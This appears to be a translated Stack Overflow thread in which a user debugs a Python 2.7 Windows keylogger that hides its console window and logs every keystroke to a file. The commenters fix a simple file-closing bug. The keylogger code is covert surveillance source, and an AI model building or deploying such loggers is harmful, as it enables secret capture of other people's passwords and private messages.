制作键盘记录器时出现Python代码错误(仅用于教育目的)

制作键盘记录器时出现Python代码错误(仅用于教育目的),python,python-2.7,keylogger,Python,Python 2.7,Keylogger,所以我试图制作一个键盘记录器(仅用于教育目的),这里是我的代码 #!/usr/bin/env python import pyHook import pythoncom import win32gui import win32console import time import smtplib, os log_file = "d:\control.txt" #name of log file window = win32console.GetConsoleWi

所以我试图制作一个键盘记录器(仅用于教育目的),这里是我的代码

#!/usr/bin/env python
import pyHook
import pythoncom
import win32gui
import win32console
import time
import smtplib, os


log_file = "d:\control.txt"                 #name of log file
window = win32console.GetConsoleWindow()  #go to script window
win32gui.ShowWindow(window,0)             #hide window

def pressed_chars(event):       #on key pressed function
    if event.Ascii:
        f = open(log_file,"a")  # (open log_file in append mode)
        char = chr(event.Ascii) # (insert real char in variable)
        if char == "q":         # (if char is q)
            f.close()           # (close and save log file)
        if event.Ascii == 13:   # (if char is "return")
            f.write("\n")       # (new line)
        f.write(char)           # (write char)



proc = pyHook.HookManager()      #open pyHook
proc.KeyDown = pressed_chars     #set pressed_chars function on KeyDown event
proc.HookKeyboard()              #start the function
pythoncom.PumpMessages()    
在运行代码之后,我遇到了一些类似这样的错误

Traceback (most recent call last):
  File "C:\Python278\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
    return func(event)
  File "C:\Python278\logger.pyw", line 22, in pressed_chars
    f.write(char)           # (write char)
ValueError: I/O operation on closed file
我这样做是为了,每当我按下“Q”这个字符时,程序都会停止记录击键。但是,如果我在第19-20行之间输入以下代码:“exit()”,程序工作正常,但在执行任何其他操作之前退出。我一直试图自己解决它,但我似乎无法让它按我想要的方式工作。有什么想法吗?顺便说一下,使用Python 2.7.8。

如果字符是“q”,则关闭文件如果char==“q”:#(如果char是q)'

试着做一个假设。。埃利夫。。否则


顺便说一句,如果char==“q”:f.close()[SNIP]f.write(char),我更喜欢使用open()。你看到问题了吗?我想如果日志文件关闭它就不能写字符了,对吧?答对了。要么在关闭文件之前写下字符,要么根本不写。刚才看到@Rawing也这么说。由于我是Stackoverflow新手,什么样的“正确”回答问题?发布答案当然比发表评论更好。与评论不同,答案是可以接受的,因此问题被标记为已回答。你赢了这一轮:)好的:)我只想遵循标准。我有点喜欢你“问正确的问题”的方式,我也很怀疑